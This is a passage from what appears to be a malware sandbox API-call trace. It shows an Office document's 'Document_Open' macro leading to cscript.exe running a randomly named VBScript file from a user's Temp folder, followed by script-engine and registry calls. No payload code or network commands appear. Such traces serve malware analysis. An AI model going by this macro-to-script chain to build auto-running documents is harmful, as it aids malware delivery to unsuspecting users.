(This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb6, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb7, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb8, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb9, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xba, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbb, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbc, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbd, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbe, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbf, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc0, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc1, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc2, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc3, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc4, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc5, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc6, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc7, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc8, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc9, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xca, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcb, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcc, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcd, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xce, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcf, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd0, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd1, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd2, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd3, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd4, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd5, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd6, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.155] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd7, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.155] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd8, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd9, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xda, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdb, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdc, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdd, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xde, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdf, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe0, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe1, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe2, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe3, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe4, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe5, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe6, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe7, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe8, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe9, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xea, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.156] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xeb, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.156] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xec, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xed, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xee, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xef, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf0, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf1, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf2, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf3, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf4, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf5, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf6, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf7, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf8, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.157] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.157] ITypeInfo2:GetCustData (in: This=0x2885d2711b8, GUID=0x7ff9bdf05de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xbcb38f6a58 | out: pVarVal=0xbcb38f6a58*(varType=0x0, wReserved1=0x0, wReserved2=0x1b9, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0073.157] IUnknown:Release (This=0x2885d2711b8) returned 0x2 [0073.157] ITypeInfo:RemoteGetDocumentation (in: This=0x2885d2711b8, memid=-1, refPtrFlags=0xb38f6a50, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0073.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xbcb38f6960, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0073.157] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0073.157] IUnknown:QueryInterface (in: This=0x2885d271318, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f6a00 | out: ppvObject=0xbcb38f6a00*=0x0) returned 0x80004002 [0073.157] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271318, ppTypeAttr=0xbcb38f6a28, pDummy=0xbcb38f6a00 | out: ppTypeAttr=0xbcb38f6a28, pDummy=0xbcb38f6a00*=0x0) returned 0x0 [0073.157] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271318) returned 0x0 [0073.158] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e50b0, cb=0x62) returned 0x2885d999de0 [0073.158] _mbscpy_s (in: _Dst=0xbcb38f6c80, _DstSizeInBytes=0xe, _Src=0x28860e62b66 | out: _Dst=0xbcb38f6c80) returned 0x0 [0073.158] _mbscpy_s (in: _Dst=0xbcb38f6c89, _DstSizeInBytes=0x5, _Src=0xbcb38f6e30 | out: _Dst=0xbcb38f6c89) returned 0x0 [0073.158] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document_Open") returned 0x3089c1 [0075.607] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0xc1c0, wParam=0x50, lParam=0x0) returned 0x0 [0076.501] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0xc1c0, wParam=0x50, lParam=0x0) returned 0x0 [0078.955] GetCapture () returned 0x0 [0078.955] GetCursorPos (in: lpPoint=0xbcb38ff370 | out: lpPoint=0xbcb38ff370*(x=630, y=293)) returned 1 [0078.955] WindowFromPoint (Point=0x12500000276) returned 0x1036a [0078.955] GetWindowThreadProcessId (in: hWnd=0x1036a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc24 [0078.955] SetCursor (hCursor=0x10003) returned 0x10003 [0081.559] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x1c, wParam=0x0, lParam=0x10ac) returned 0x0 [0084.395] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x1c, wParam=0x1, lParam=0x10ac) returned 0x0 [0134.310] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 Thread: id = 28 os_tid = 0x1114 Thread: id = 29 os_tid = 0x1194 Thread: id = 30 os_tid = 0x118c Thread: id = 31 os_tid = 0x11ec Thread: id = 32 os_tid = 0xe6c Thread: id = 33 os_tid = 0x1268 Thread: id = 34 os_tid = 0xa58 Thread: id = 35 os_tid = 0xd68 Thread: id = 36 os_tid = 0x748 Thread: id = 37 os_tid = 0x1378 Thread: id = 38 os_tid = 0xd84 Thread: id = 39 os_tid = 0xd88 Thread: id = 40 os_tid = 0x7cc Thread: id = 41 os_tid = 0x6cc Thread: id = 42 os_tid = 0x13cc Thread: id = 43 os_tid = 0x13c8 Thread: id = 44 os_tid = 0x8e0 Thread: id = 45 os_tid = 0x9d8 Thread: id = 46 os_tid = 0xed0 Thread: id = 47 os_tid = 0x95c Thread: id = 48 os_tid = 0x1344 Thread: id = 55 os_tid = 0x101c Process: id = "2" image_name = "cscript.exe" filename = "c:\\windows\\system32\\cscript.exe" page_root = "0x588e7000" os_pid = "0xe10" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x12d0" cmd_line = "cscript C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\TzTEirjljCPNCsrDblvwC.vbs" cur_dir = "C:\\Users\\FD1HVy\\Documents\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 49 os_tid = 0xc24 [0085.939] malloc (_Size=0x100) returned 0x1588c5c96b0 [0085.941] __dllonexit () returned 0x7ff9bc341d30 [0085.941] __dllonexit () returned 0x7ff9bc341d40 [0085.942] GetCurrentProcess () returned 0xffffffffffffffff [0085.942] K32GetModuleInformation (in: hProcess=0xffffffffffffffff, hModule=0x7ff9bc320000, lpmodinfo=0x6d59ec880, cb=0x18 | out: lpmodinfo=0x6d59ec880*(lpBaseOfDll=0x7ff9bc320000, SizeOfImage=0x94000, EntryPoint=0x7ff9bc340030)) returned 1 [0085.942] __dllonexit () returned 0x7ff9bc341d50 [0085.942] GetUserDefaultLCID () returned 0x411 [0085.943] GetVersion () returned 0x3ad7000a [0085.943] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x7ff9e80b0000 [0085.949] GetProcAddress (hModule=0x7ff9e80b0000, lpProcName="QueryProtectedPolicy") returned 0x7ff9e5abee90 [0085.949] VirtualProtect (in: lpAddress=0x7ff9bc38e990, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x6d59ec900 | out: lpflOldProtect=0x6d59ec900*=0x2) returned 1 [0085.950] VirtualProtect (in: lpAddress=0x7ff9bc38e990, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6d59ec900 | out: lpflOldProtect=0x6d59ec900*=0x4) returned 1 [0085.950] DllGetClassObject (in: rclsid=0x1588c6eca60*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x7ff9e7e6f9d8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6d59ed8f0 | out: ppv=0x6d59ed8f0*=0x1588c5c17c0) returned 0x0 [0085.950] malloc (_Size=0x58) returned 0x1588c5c17c0 [0085.951] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x1588c5c17c0, pUnkOuter=0x0, riid=0x6d59ee7f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d59ed908 | out: ppvObject=0x6d59ed908*=0x1588c5c97c0) returned 0x0 [0085.951] malloc (_Size=0x3c0) returned 0x1588c5c97c0 [0085.954] LdrResolveDelayLoadedAPI () returned 0x7ff9e79d4aa0 [0085.954] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x6d59ed848 | out: phkResult=0x6d59ed848*=0x174) returned 0x0 [0085.955] RegQueryValueExW (in: hKey=0x174, 